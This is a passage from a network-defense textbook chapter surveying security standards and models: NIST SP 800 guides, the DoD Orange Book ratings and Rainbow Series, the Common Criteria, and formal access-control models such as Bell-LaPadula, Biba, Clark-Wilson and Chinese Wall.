NIST SP 800-14

Special Publication 800-14, *Generally Accepted Principles and Practices for Securing Information Technology Systems*, describes common security principles that should be addressed within security policies. The purpose of this document is to describe 8 principles and 14 practices that can be used to develop security policies. This standard is based on 8 principles, which are:

1. Computer security supports the mission of the organization.
2. Computer security is an integral element of sound management.
3. Computer security should be cost-effective.
4. System owners have security responsibilities outside their own organizations.
5. Computer security responsibilities and accountability should be made explicit.

6. Computer security requires a comprehensive and integrated approach.
7. Computer security should be periodically reassessed.
8. Computer security is constrained by societal factors.

NIST SP 800-35

NIST SP 800-35, *Guide to Information Technology Security Services*, is an overview of information security. In this standard six phases of the IT security life cycle are defined:

- **Phase 1: Initiation.** At this point the organization is looking into implementing some IT security service, device, or process.
- **Phase 2: Assessment.** This phase involves determining and describing the organization's current security posture. It is recommended that this phase use quantifiable metrics.
- **Phase 3: Solution.** This is where various solutions are evaluated and one or more are selected.
- **Phase 4: Implementation.** In this phase the IT security service, device, or process is implemented.

- **Phase 5: Operations.** Phase 5 is the ongoing operation and maintenance of the security service, device, or process that was implemented in phase 4.
- **Phase 6: Closeout.** At some point, whatever was implemented in phase 4 will be concluded. Often this is when a system is replaced by a newer and better system.

NIST SP 800-30 Rev. 1

NIST SP 800-30 Rev. 1, *Guide for Conducting Risk Assessments*, is a standard for conducting risk assessments. Risk assessments were discussed in Chapter 12, “Assessing System Security.” This standard provides guidance to how to conduct such an assessment. There are nine steps in the process:

STEP 1. System Characterization

STEP 2. Threat Identification

STEP 3. Vulnerability Identification

STEP 4. Control Analysis

STEP 5. Likelihood Determination

STEP 6. Impact Analysis

STEP 7. Risk Determination

STEP 8. Control Recommendations

STEP 9. Results documentation

U.S. DOD STANDARDS

Risk Management Framework (RMF) is the unified information security framework for the entire federal government that is replacing the legacy DIACAP processes within federal government departments and agencies, the Department of Defense (DoD), and the Intelligence Community (IC).

Defense Information Assurance Certification and Accreditation Process (DIACAP) was the DoD procedure for identifying, implementing, validating, certifying, and managing IA capabilities and services, expressed as IA controls, and authorizing the operation of DoD ISs. It also describes the processes for configuration management of DoD IA controls and supporting implementation materials. DIACAP was replaced by RMF.

USING THE ORANGE BOOK

The Orange Book is the common name of one of several books published by the United States Department of Defense (DoD). Because each book is color-coded, the entire series is referred to as The Rainbow Series. (We will look at the series as a whole in the next section of this chapter.) The full name of the Orange Book is the Department of Defense Trusted Computer System Evaluation Criteria (DOD-5200.28-STD). It is a cornerstone for computer security standards, and one cannot be a security professional without a good understanding of this book. Although the Orange Book has been supplanted, the concepts in the book are still worthy of study, as they provide significant guidance on security standards for networks.

The book outlines the criteria for rating various operating systems. In the chapters you have already read, we have primarily focused on Windows with some attention to Linux. For most settings these operating systems provide enough security. However, you need to be aware of the various security levels of secure operating systems available. If you are considering operating systems for key servers, you should consider the underlying security rating for that operating system. If your organization intends to do any work with any

military, defense, or intelligence agencies, you may be required to have operating systems that reach a specified level of security.

Actual copies of the Orange Book are notoriously difficult to obtain for anyone not working for the U.S. government, which makes understanding the security ratings difficult. The book is not classified; it simply is not widely published. However, you can find excerpts, chapters, and standards from it at the following web addresses:

- The Orange Book Site: www.dynamoo.com/orange/
- Department of Defense Orange Book:
<http://csrc.nist.gov/publications/history/dod85.pdf>
- The Department of Defense Standard:
<http://csrc.nist.gov/publications/history/dod85.pdf#search='the%20o>

The DoD security categories are designated by a letter ranging from D (minimal protection) to A (verified protection). The Orange Book designations are generally used to evaluate the security level of operating systems rather than entire networks. However, your network will not be particularly secure if the operating systems running on your servers and workstations are not secure. We will take a moment to examine each of these categories.

D - Minimal Protection

This category is for any system that does meet the specifications of any other category. Any system that fails to receive a higher classification gets a D classification. In short, this is a classification that is so low that they simply did not bother to rate it. In other words, a D rating means an operating system that has not been rated. By default any operating system that is not given any other rating is given a D rating. It is very rare to find any widely used operating system that has a D rating.

C - Discretionary Protection

Discretionary protection applies to Trusted Computing Bases (TCBs) with optional object (for example, file, directory, devices, etc.) protection. This simply means that there is some protection for the file structure and devices. This is a rather low level of protection. C is a general class where all of its members (C1, C2, etc.) have basic auditing capability. That means that security events are logged. If you have ever looked at the event viewer in Windows 2000 or Windows XP, then you have seen an example of security audit logs. Operating systems will actually fall into a subcategory such as C2, rather than the general class C.

FYI: What Is a Trusted Computing Base?

A trusted computing base, or TCB, is a term referring to the totality of protection mechanisms within a computer system, including hardware, firmware, and software, the combination of which is responsible for enforcing a security policy. The ability of a trusted computing base to enforce correctly a unified security policy depends on the correctness of the mechanisms within the trusted computing base and the correct input of parameters related to the security policy.

C1 - Discretionary Security Protection

C1 - discretionary security protection is the C protection with a bit more added to it. The following list defines a number of additional features required to achieve C1-level protection. This level of security was found frequently in the past, but for the past decade, most operating system vendors have aimed for C2.

- Discretionary access control, for example access control lists (ACLs), user/group/world protection.
- Usually for users who are all on the same security level.

- Periodic checking of the trusted computing base (TCB). The trusted computing base is the Orange Book's general term for any computing system.
- Username and password protection and secure authorizations database.
- Protected operating system and system operations mode.
- Tested security mechanisms with no obvious bypasses.
- Documentation for user security.
- Documentation for systems administration security.
- Documentation for security testing.

This list may not be particularly clear to some readers. In order to clarify exactly what C1 security is, let's look at a few actual excerpts from the Orange Book about C-level and then explain what these excerpts mean:

- "The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall use a protected mechanism (for example, passwords) to authenticate the user's identity. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user."

This simply means that users must log in before they can do anything. That may sound obvious, but earlier versions of Windows (3.1 and before) did not require users to log in. This was true of many older desktop operating systems.

- “The security mechanisms of the ADP system shall be tested and found to work as claimed in the system documentation. Testing shall be done to assure that there are no obvious ways for an unauthorized user to bypass or otherwise defeat the security protection mechanisms of the TCB.”

That sounds pretty vague. It simply means that the operating system has been tested to ensure that it does what its own documentation claims it will do. It says nothing about what level of security the documentation should claim, merely that there must have been testing to ensure the operating system meets the claims made in the documentation. The reader may also wish to note that ADP stands for automatic data processing. It refers to any system that processes data without direct step-by-step human intervention. This may sound like a description of most computer systems, and it is. Remember that the Orange Book was first conceived many years ago.

C2 - Controlled Access Protection

C2, as the name suggests, is C1 with additional restrictions.

- Object protection can be on a single-user basis, for example, through an ACL or Trustee database.
- Authorization for access may be assigned only by authorized users.
- Mandatory identification and authorization procedures for users, for example, username/password.
- Full auditing of security events (the event, date, time, user, success/ failure, terminal ID).
- Protected system mode of operation.
- Documentation as C1 plus information on examining audit information.

You will find this level of certification in IBM OS/400, Windows NT/2000/XP, and Novell Netware. Most Windows Systems today would be C2. Again it might be helpful to explain this level of security by examining what the Orange Book actually says and elaborating on that a bit.

- “The TCB shall define and control access between named users and named objects (for example, files

and programs) in the ADP system. The enforcement mechanism (for example, self/group/public controls, access control lists) shall allow users to specify and control sharing of those objects by named individuals, or defined groups of individuals, or by both, and shall provide controls to limit propagation of access rights. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of including or excluding access to the granularity of a single user. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users.”

What this means in plain English is that once a user has logged on and has access to specific objects, that user cannot easily “promote” himself to a higher level of access. It also means that for an operating system to be rated C2, you must be able to assign security permissions to individual users rather than simply to entire groups.

- “All authorizations to the information contained within a storage object shall be revoked prior to initial assignment, allocation or reallocation to a subject from the TCB’s pool of unused storage

objects. No information, including encrypted representations of information, produced by a prior subject's actions is to be available to any subject that obtains access to an object that has been released back to the system.”

This paragraph means that if one user logs on and uses some system object, all of its permissions are revoked before that object can be reused by another user. This prevents a user with lower security access from logging on immediately after a user with higher security access and perhaps reusing some system object the previous user left in memory. It is yet another way to prevent a user from accessing items that he may not be authorized to access.

- “The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall use a protected mechanism (for example, passwords) to authenticate the user's identity. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP system user. The TCB shall also provide the capability of associating this identity with all auditable actions

taken by that individual.”

In short this paragraph means that not only should security activities be able to be logged, but they should also be associated with a specific user. That way an administrator can tell which user did what activity. Again, if you have ever looked at a Windows Security log, you will see this. Figure 13-1 shows an event from a Windows event log. Note that the individual username is shown.




FIGURE 13-1 Windows 8 event log

B - Mandatory Protection

Category B is a rather important category because it provides a higher level of security. It does this by specifying that the TCB protection systems should be mandatory, not discretionary. Like the C category this is a broad category containing several subcategories. You will not encounter an operating system that is simply rated B; it would be B1, B2, and so on.

B1 - Labeled Security Protection

This is just like B, only with a few added security features.

- Mandatory security and access labeling of all objects. The term objects, in this context, encompasses files, processes, devices, and so on.
- Auditing of labeled objects.
- Mandatory access control for all operations.
- Ability to specify security level printed on human-readable output (for example, printers).
- Ability to specify security level on any machine-readable output.
- Enhanced auditing.
- Enhanced protection of operating system.

■ Improved documentation.

Let us again turn to what the Orange Book actually states about this security level and use that as a guide to better understanding this particular security rating.

- “Sensitivity labels associated with each subject and storage object under its control (for example, process, file, segment, device) shall be maintained by the TCB. These labels shall be used as the basis for mandatory access control decisions. In order to import non-labeled data, the TCB shall request and receive from an authorized user the security level of the data, and all such actions shall be auditable by the TCB.”

This paragraph tells us that in a B1-rated system there are security levels (labels) assigned to every single object (that would include any file and any device) and for every subject (user). No new subject or object can be added to the system without a security level. This means that unlike C1 and C2 systems where such access control is discretionary (i.e., optional), it is impossible to have any subject or object in a B1 system that does not have access control defined. Consider again the Windows operating system. Many items in that system have restricted access (often restricted only to administrators). This includes the control panel and

various administrative utilities. However, some items (such as the accessories) have no access control. In a B1- (or higher) rated system, everything in that system has access control.

These security labels are the real key to B1 security ratings. Much of the Orange Book documentation regarding the B1 rating surrounds how such labels are imported or exported.

- “The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall maintain authentication data that includes information for verifying the identity of individual users (for example, passwords) as well as information for determining the clearance and authorizations of individual users. This data shall be used by the TCB to authenticate the user’s identity and to ensure that the security level and authorizations of subjects external to the TCB that may be created to act on behalf of the individual user are dominated by the clearance and authorization of that user. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP

system user. The TCB shall also provide the capability of associating this identity with all auditable actions taken by that individual.”

Now this paragraph may sound like the same paragraph from the C category indicating that security activities should be audited. However, this goes a bit further. Every action is not only audited along with the user that performed that action, but the user’s access rights/security level are also noted. This provides a clear indication of any user attempting to perform some action that is beyond his security rights.

This level of operating system security can be found on several very high-end systems such as:

- HP-UX BLS (a highly secure version of Unix)
- Cray Research Trusted Unicos 8.0 (an operating system for the famous Cray research computers)
- Digital SEVMS (a highly secure VAX operating system)

B2 - Structured Protection

As the name suggests, this is an enhancement to the B category. It includes everything B does, plus a few added features.

- Notification of security level changes affecting

interactive users

- Hierarchical device labels
- Mandatory access over all objects and devices
- Trusted path communications between user and system
- Tracking down of covert storage channels
- Tighter system operations mode into multilevel independent units
- Improved security testing
- Version, update, and patch analysis and auditing

This level of security is actually found in a few operating systems:

- **Honeywell Multics:** This is a highly secure mainframe operating system.
- **Cryptek VSLAN:** This is a very secure component to network operating systems. The Verdex Secure Local Area Network (VSLAN) is a network component that is capable of interconnecting host systems operating at different ranges of security levels allowing a multi-level secure (MLS) LAN operation.
- **Trusted XENIX:** This is a very secure Unix variant.

Examining the Orange Book will give us a better view of the differences between B2 and B1 levels of security. A few paragraphs seem to really illustrate the primary differences:

- “The TCB shall support a trusted communication path between itself and user for initial login and authentication. Communications via this path shall be initiated exclusively by a user.”

This paragraph tells us that not only must the user be authenticated before accessing any of the system’s resources, but that the communication used to authenticate must be secure. This is particularly important in client/server situations. A B2-rated server allows clients to log on only if their log-on process is secure. This means the log-on communication should be encrypted via a VPN or some other method that keeps the username and password secure. Notice that the first two B2-rated operating systems are for distributed environments.

- “The TCB shall immediately notify a terminal user of each change in the security level associated with that user during an interactive session. A terminal user shall be able to query the TCB as desired for a display of the subject’s complete sensitivity label.”

In this excerpt we see that if a user is logged on to the

system and something should change in either his security level or in the security level of some object he is accessing, that the user will immediately be notified and, if necessary, his access will be changed. In many systems you are probably most familiar with (Windows, Unix, Linux), if a user's permissions are changed, the changes do not take effect until the next time the user logs on. With a B2-rated system the changes take effect immediately.

B3 - Security Domains

Yes, this category is yet another enhancement to the B category.

- ACLs additionally based on groups and identifiers
- Trusted path access and authentication
- Automatic security analysis
- Auditing of security auditing events
- Trusted recovery after system down and relevant documentation
- Zero design flaws in the TCB and a minimum of implementation flaws

To the best of this author's knowledge, there is only one B3-certified operating system, Getronics/Wang Federal XTS-300. This is a highly secure Unix-like operating

system, complete with a graphical user interface. There are a couple of fascinating segments of the Orange Book's description of the B3 security rating that help illustrate the differences between B2 and B3.

- “The TCB shall define and control access between named users and named objects (for example, files and programs) in the ADP system. The enforcement mechanism (for example, access control lists) shall allow users to specify and control sharing of those objects, and shall provide controls to limit propagation of access rights. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of specifying, for each named object, a list of named individuals and a list of groups of named individuals with their respective modes of access to that object. Furthermore, for each such named object, it shall be possible to specify a list of named individuals and a list of groups of named individuals for which no access to the object is to be given. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users.”

This paragraph says that access control is taken to a

higher level with B3 systems. In such a system every single object must have a specific list of authorized users and may have a specific list of prohibited users. This goes beyond the C level, where an object may have a list of authorized users. It also goes beyond the lower B ratings with its list of specifically disallowed users.

- “The TCB shall be able to create, maintain, and protect from modification or unauthorized access or destruction an audit trail of accesses to the objects it protects. The audit data shall be protected by the TCB so that read access to it is limited to those who are authorized for audit data. The TCB shall be able to record the following types of events: use of identification and authentication mechanisms, introduction of objects into a user’s address space (for example, file open, program initiation), deletion of objects, and actions taken by computer operators and system administrators and/or system security officers and other security relevant events. The TCB shall also be able to audit any override of human-readable output markings. For each recorded event, the audit record shall identify: date and time of the event, user, type of event, and success or failure of the event. For identification/authentication events the origin of request (for example, terminal ID) shall be included in the audit record. For events that introduce an

object into a user's address space and for object deletion events the audit record shall include the name of the object and the object's security level. The ADP system administrator shall be able to selectively audit the actions of any one or more users based on individual identity and/or object security level. The TCB shall be able to audit the identified events that may be used in the exploitation of covert storage channels. The TCB shall contain a mechanism that is able to monitor the occurrence or accumulation of security auditable events that may indicate an imminent violation of security policy. This mechanism shall be able to immediately notify the security administrator when thresholds are exceeded, and if the occurrence or accumulation of these security relevant events continues, the system shall take the least disruptive action to terminate the event."

This paragraph tells us that auditing in a B3 system is taken to a higher level. In such a system not only are all security-related events audited, but any occurrence or accumulation of occurrences that might indicate a potential violation of a security policy will trigger an alert to the administrator. This is conceptually similar to an intrusion detection system. However, in this incident it is not simply signs of intrusions that are being monitored but any event or series of events that might

lead to any compromise of any part of the operating system's security.

A - Verified Protection

Division A is the highest security division. It is divided into A1 and A2 and beyond. A2 and above are simply theoretical categories for operating systems that might someday be developed. There are currently no such operating systems in existence.

A1 - Verified Protection

This level includes everything found in B3 with the addition of formal methods and proof of integrity of TCB. The biggest difference between A-rated and B-rated operating systems lies in the development process. For A-rated systems the Orange Book carefully delineates specific controls that must be in place during the development of the system and testing standards that must be adhered to. This basically means that an A-rated system has had every aspect of its security carefully verified during its development. Doing this requires a great deal of effort and expense. You will note that the only two A1 systems we list are for military use.

You can actually find a few A1-certified systems:

- **Boeing MLS LAN:** This is a highly secure and specialized network operating system.
- **Honeywell SCOMP (Secure Communications Processor):** This is a highly secure and specialized network operating system.

In Practice

The Orange Book in Your Organization

Many IT professionals select operating systems based on one of three factors:

- Cost
- What they are most familiar with
- What has the most software available for it

This means that in many businesses you will see Windows on the desktop and Windows, Linux, or Unix servers. However, as security becomes a greater concern, perhaps other criteria should be considered, at least for servers. Note that Windows Systems are C2-rated systems. That means that a Windows 2000 or Windows 2003 server is also rated C2. For many businesses this is enough.

However, you may wish to consider a more secure solution, at least for your most critical servers. Even

a C2- or B1-rated system generally suffices. This would probably mean some version of Unix (though it is hoped that Microsoft will eventually release a more secure server version, perhaps one with a B1 or better rating). You could still have Windows workstations, and even use Windows for less critical servers such as web servers. But use the more secure Unix version for your major database servers that contain critical data such as credit card data.

There even has been a great deal of talk in the Linux community about someone making a much more secure version of this open source operating system specifically for use in highly secure settings. So far, to the best of this author's knowledge, that product has not been released. However, given the history of the open source software community, it seems only a matter of time.

USING THE RAINBOW SERIES

As we mentioned, the Orange Book is only one part of the Rainbow Series. You will see the Orange Book mentioned most often, but there are other books you should be aware of. Each of these books is part of the U.S. Department of Defense guide to information security. You can view the series at the following website:

■ FAS Rainbow Series page:

<https://fas.org/irp/nsa/rainbow.htm>

Below is a list of the books in the series, along with a brief description of each. Some books are more applicable to your study of network defense than others. For those books that are less relevant to our study, the description is briefer. You may think that if you are not directly involved in systems related to defense or intelligence, you do not need to be familiar with these standards. However, consider that when you are trying to secure any network, would it not be useful to consider the security standards and requirements of the most secure systems? Many private companies have done just that and have adopted one or more of these standards for their own use.

■ Tan Book—A Guide to Understanding Audit in Trusted Systems [Version 2 6/01/88]. This book

describes recommended processes for auditing trusted systems. Recall that event auditing is a significant feature of several security classifications in the Orange Book. The Tan Book describes exactly how auditing should be done. This book is a worthwhile read for any security professional.

- **Bright Blue Book—Trusted Product Evaluation - A Guide for Vendors [Version 1 3/1/88].** As the name indicates, this is a guide for vendors. This will be of use to you only if your company is attempting to market secure systems to the United States Department of Defense.
- **Orange Book—A Guide to Understanding Discretionary Access Control in Trusted Systems.** This section has been examined in great detail in the first portion of this chapter.
- **Aqua Book—Glossary of Computer Security Terms.** Bookstores and the Internet are replete with computer security glossaries. The textbook you are reading right now includes such a glossary. The Aqua Book is the Department of Defense computer security glossary. It is worth at least a cursory examination.
- **Burgundy Book—A Guide to Understanding Design Documentation in Trusted Systems.** As the name suggests, this book examines what is required for

documentation. As with most government agencies, the standard here is for a lengthy amount of documentation probably much more detailed than most organizations will require.

- **Lavender Book—A Guide to Understanding Trusted Distribution in Trusted Systems.** This book discusses standards for security in distributed systems. In this day of e-commerce it would be quite useful for any security professional to spend some time studying these standards.
- **Venice Blue Book—Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria.** This book describes criteria for evaluating any hardware or software that is to be added to an existing secure system. While the specifics of this particular document are not critical to your study of network defense, the concept is. Recall in Chapter 12 we discussed change control processes. One reason this is so important is that even a very secure system can have its security compromised by the addition of a device or software that is not secure.
- **Red Book—Trusted Network Interpretation Environments Guideline - Guidance for Applying the Trusted Network Interpretation.** In this book you will find criteria for evaluating network security

technologies. This is closely related to the material in the Lavender Book.

- **Pink Book—Rating Maintenance Phase Program Document.** In this document you will see the criteria for rating maintenance programs. This again relates back to change control processes discussed in Chapter 12 and is related to the Venice Blue Book. Routine maintenance of a secure system can either enhance or compromise system security, depending on how it is executed.
- **Purple Book—Guidelines for Formal Verification Systems.** For a vendor developing a system it wishes to be rated according to Department of Defense guidelines, this book outlines the process of verifying the security of that system.
- **Brown Book—A Guide to Understanding Trusted Facility Management [6/89].** Because secure systems must reside in some building/facility, then the management of that facility is of concern to a security professional. This book details guidelines for the management of a trusted facility.
- **Yellow-Green Book—Writing Trusted Facility Manuals.** Anyone familiar with government documents of any type is accustomed to a great deal of paperwork and an excessive amount of manuals. This particular book is a guide to writing manuals.

- **Light Blue Book—A Guide to Understanding Identification and Authentication in Trusted Systems.** In this manual the process of authentication is explored in great detail. This information is critical to you only if you are attempting to create your own authentication process rather than using one of the many existing authentication protocols.
- **Blue Book—Trusted Product Evaluation Questionnaire [Version-2 - 2 May 1992].** This document is closely related to the Orange Book, as it contains questions that must be answered in order to get an operating system rated according to Orange Book standards.
- **Grey/Silver Book—Trusted UNIX Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the UNIX System.** For readers using Unix this book is of particular value. It examines the standards for choosing specific access control list options in a Unix operating system.
- **Lavender/Purple Book—Trusted Database Management System Interpretation.** As the name suggests, this book details the requirements for a secure database management system. Given that databases are at the heart of all business programming, the security of such database

systems is an important issue.

- **Yellow Book—A Guide to Understanding Trusted Recovery.** Should any failure occur (hard drive crash, flood, fire, etc.), you must restore your systems. For secure systems, even such recovery must be done in accordance with security guidelines, which this book outlines.
- **Forest Green Book—A Guide to Understanding Data Remanence in Automated Information Systems.** This particular book covers requirements for the secure storage of data.
- **Hot Peach Book—A Guide to Writing the Security Features User's Guide for Trusted Systems.** This book is yet another manual on how to write manuals.
- **Turquoise Book—A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems.** In many government agencies or in defense contractor companies, there is a designated security officer with overall responsibilities for security. This book outlines the responsibilities of such an officer. It is not directly relevant to network defense but can provide background information when formulating organizational security policies.
- **Violet Book—Assessing Controlled Access**

Protection. In this particular book the reader will find standards related to how to assess access control procedures. Most operating systems (at least C-rated or better) have some sort of access control (discretionary in C-rated systems, mandatory in B-rated systems).

- **Blue Book—Introduction to Certification and Accreditation.** This manual explains the process of achieving Department of Defense certification for a product.
- **Light Pink Book—A Guide to Understanding Covert Channel Analysis of Trusted Systems [11/93].** One feature of some higher rated systems (B2 and above) is the handling of communication channels. This document discusses analyzing such channels in great detail.

Clearly no one can be expected to study, much less memorize, all of these books. The Orange Book is not used today, but it still is a valuable view of how systems security works, so you should certainly have a basic familiarity with it. Beyond that, simply select the one or two books that are most pertinent to your job role or to your personal research interests, and familiarize yourself with those. The most important thing to gather from this section is what the various books are responsible for. You should know which book to consult

for a given purpose.

USING THE COMMON CRITERIA

The Orange Book and the entire Rainbow Series are excellent guidelines for security. Several other organizations and other nations have also established their own security guidelines. Each of these separate security criteria overlap on some issues. Eventually, the organizations responsible for the existing security criteria in the United States, Canada, and Europe began a project to fuse their separate criteria into a single set of IT security criteria that became known as the Common Criteria (www.commoncriteriaportal.org/cc/). The first version of it was completed in January 1996.

The Common Criteria originated out of three standards:

- ITSEC (Information Technology Security Evaluation Criteria), a European standard used by UK, France, the Netherlands, Germany, and Australia. You can learn more about ITSEC at https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Zertifizierungen_pdf.pdf?__blob=publicationFile. However, remember that in most cases this has been supplanted by the Common Criteria.
- The United States Department of Defense Orange

Book.

- CTCPEC (Canadian Trusted Computer Product Evaluation Criteria), the Canadian standard. This standard is roughly equivalent in purpose to the Orange Book.

The Common Criteria is essentially a fusion of these three standards. While they can now be applied to any product, the original intent was to outline standards for companies selling computer products for use in defense or intelligence organizations. The idea of the Common Criteria is, as the name suggests, to have common criteria for security: common, as in applicable to a wide range of organizations and industries.

As with most things in information technology, the Common Criteria was eventually revised. Version 2.0 of the Common Criteria was released in April 1998. This version of the Common Criteria was adopted as ISO International Standard 15408 in 1999. Subsequent minor revisions of the Common Criteria were also adopted by ISO. The Common Criteria was originally developed to supersede parts of the Rainbow Series and similar standards used in Europe and Canada. However, its use has gone well beyond defense-related applications. The Common Criteria are now often used in private organizational security settings. In fact, a basic knowledge of this standard is part of the CISSP

(Certified Information Systems Security Professional) certification test.

Clearly the Common Criteria is important and widely used, but what exactly does it cover? The Common Criteria (often abbreviated as just CC) defines a common set of security requirements. These requirements are divided into functional requirements and assurance requirements. The CC further defines two kinds of documents that can be built using this common set:

- **Protection Profile:** This is a document created by a user that identifies user security requirements.
- **Security Target:** This is a document created by the developer of a particular system that identifies the security capabilities of a particular product.
- **Security Functional Requirements:** Specify individual security functions that a particular product should provide.
- **Security Assurance Requirements:** Describe what measures are taken during the development (and eventual evaluation) of a product to ensure that it actually complied with the security functionality.

Frequently, organizations ask for an independent

evaluation of a product to show that the product does in fact meet the claims in a particular security target. This evaluation is referred to as the Target of Evaluation, or TOE. The Common Criteria has built-in mechanisms to support these independent evaluations.

The Common Criteria outlines some requirements/levels of security assurance. These levels are usually called Evaluation Assurance Levels (EALs). These EALs are numbered 1 to 7, with higher numbers representing more thoroughly evaluated security. The idea is to rate security products, operating systems, and security on a numeric scale. The criteria for each level are well established and are the same for all parties using the Common Criteria. Essentially the EALs are based on the security targets, security functional requirements, and security assurance requirements described earlier in this section.

USING SECURITY MODELS

The Orange Book and the Common Criteria are designed to evaluate the security levels of operating systems, applications, and other products. Ensuring that the products your organization uses meet a certain security standard is certainly a key part of securing your network. This process of evaluating systems, as well as everything else we have discussed in this book, has been very direct and very practical. However, now it is time to delve into the theoretical aspects of computer security. In this section we will discuss various widely used models that are used to form the underlying basis for an organization's security strategy. Let me reiterate that a person can certainly secure a network using only the practical guidelines found in the preceding 12 chapters of this book. However, in some organizations, particularly larger organizations, you will find that a particular security model is first chosen and then the security strategy is built. In small to midsize organizations, a security model is generally not selected.

It must be stressed that these models are theoretical frameworks that can assist you in guiding your network defense strategy. You can certainly be successful at defending networks without them, but in this book our goal is to give you a well-rounded understanding of

network defense.

FYI: Security Models and the CISSP

The CISSP exam covers several of these models, so familiarizing yourself with them now can be advantageous to you should you later take that exam.

Bell-LaPadula Model

The Bell-LaPadula model is a formal security model that describes various access control rules. This was one of the earliest computer security models. It was developed by two researchers named Bell and LaPadula in 1973. It was designed to enforce access control in government and military applications. The entire model is based on a principle it refers to as the basic security theorem. That theorem states that:

A system is secure if and only if the initial state is a secure state and all state transitions are secure, then every subsequent state will also be secure, no matter what inputs occur.

In other words, if you start out with a secure system, and then every single transaction that occurs that might change the state of the system in any way is also secure, then the system will remain secure. Therefore the Bell-

LaPadula model focuses on any transaction that changes the system's state.

The model divides a system into a series of subjects and objects. A subject is any entity that is attempting to access a system or data. That usually refers to an application or system that is accessing another system or data within that system. For example, if a program is designed to perform data-mining operations, requiring it to access data, then that program is the subject, and the data it is trying to access is the object. An object, in this context, is literally any resource the user may be trying to access.

The model defines the access control for these subjects and objects. All interactions between any subjects and objects are based on their individual security levels. There are usually four security levels:

- Unclassified
- Confidential
- Secret
- Top secret

It is no coincidence that these are the same four classifications the United States military uses. This particular model was originally designed with military applications in mind.

There are two properties that describe the mandatory access in this model. These are the simple-security property and the * property:

- **Simple-security property (also referred to as ss-property):** This means that a subject can read an object only if the security level of the subject is higher than or equal to the security of the object. This is often referred to as read-down. What this means is that if the subject has a secret level of security it can read only secret, confidential, and unclassified materials. That subject cannot read top secret material.
- *** property (also referred to as the star property):** A subject can write on an object only if the security level of the object is higher than or equal to the security level of the subject. This is often referred to as write up. It may seem odd to allow a system to write to a higher security level than itself; however, the key is to use a broad definition for the word write. What this means is that a system that is classified secret cannot output less than secret. This prevents a secret system from classifying its output as confidential or unclassified.

The Bell-LaPadula model also has a third rule that is applied to discretionary access control (DAC), called the discretionary security property. Discretionary access is

defined as the policies that control access based on named users and named objects.

- **Discretionary security property (also called ds-property):** Each element of the set of current accesses, as well as the specific access mode (for example, read, write, or append), is included in the access matrix entry for the corresponding subject-object pair.

Biba Integrity Model

The Biba Integrity Model is also an older model, having been first published in 1977. This model is similar to the Bell-LaPadula model in that it also uses subjects and objects; in addition, it controls object modification in the same way that Bell-LaPadula controls data disclosure, what the Bell-LaPadula model referred to as write up.

The Biba Integrity model consists of three parts. The first two are very similar in wording and concept to the Bell-LaPadula model but with wider applications.

- A subject cannot execute objects that have a lower level of integrity than the subject.
- A subject cannot modify objects that have a higher level of integrity.

- A subject may not request service from objects that have a higher integrity level.

Essentially this last item means that a subject that has a confidential clearance cannot even request a service from any object with a secret or top secret clearance. The idea is to prevent subjects from even requesting data from objects with higher security levels.

Clark-Wilson Model

The Clark-Wilson Model was first published in 1987. Like the Bell-LaPadula model it is a subject-object model. However, it introduces a new element, programs. In addition to considering subjects (systems accessing data) and objects (the data), it also considers subjects accessing programs. With the Clark-Wilson model there are two primary elements for achieving data integrity:

- Well-formed transaction
- Separation of duties

Well-formed transaction simply means users cannot manipulate or change the data without careful restrictions. This prevents transactions from inadvertently altering secure data. Separation of duties prevents authorized users from making improper

modifications, thus preserving the external consistency of data.

The Clark-Wilson model uses integrity verification and transformation procedures to maintain internal and external consistency of data. The verification procedures confirm that the data conforms to the integrity specifications at the time the verification is performed. What this means in simple terms is that this model explicitly calls for outside auditing to ensure that the security procedures are in place and effective. The model essentially encompasses three separate but related goals:

- Prevent unauthorized users from making modifications
- Prevent authorized users from making improper modifications
- Maintain internal and external consistency

Chinese Wall Model

In business, the term *Chinese wall* is used to denote a complete separation between parts of a firm. It literally means to establish some mechanism to make sure that different parts of the firm are kept separate so that information does not circulate between the two segments. It is often used to prevent conflicts of interest.

The Chinese Wall Model was proposed by Brewer and Nash. This model seeks to prevent information flow that can cause a conflict of interest. For example, write access is granted only if no other object containing unsanitized information can be read. Unlike Bell-LaPadula, access to data is not constrained by attributes of the data in question but by what data the subject already holds access rights to. Also unlike Bell-LaPadula and Biba, this model originates with business concepts rather than military concepts. With this model, sets of data are grouped into “conflict of interest classes” and all subjects are allowed access to at most one dataset belonging to each such conflict of interest class.

The basis of this model is that users are allowed access only to information that is not considered to be in conflict with any other information that they already possess. From the perspective of the computer system, the only information already possessed by a user must

be information that the user has previously accessed.

State Machine Model

The State Machine Model looks at a system's transition from one state to another. It starts by capturing the current state of a system. Later the system's state at that point in time is compared to the previous state of the system to determine whether there has been a security violation in the interim. It looks at several things to evaluate this:

- Users
- States
- Commands
- Output

A state machine model considers a system to be in a secure state when there is no instance of security breach at the time of state transition. In other words, a state transition should occur only by intent; otherwise, it is a security breach. Any state transition that is not intentional is considered a security breach.

U.S. FEDERAL REGULATIONS, GUIDELINES, AND STANDARDS

Several United States laws, regulations and standards are important to network security. Although you are only required to comply with these if you are in a related business (for example, PCI DSS only applies to credit card processing), they can provide insight into network security requirements.

The Health Insurance Portability & Accountability Act of 1996 (HIPAA)

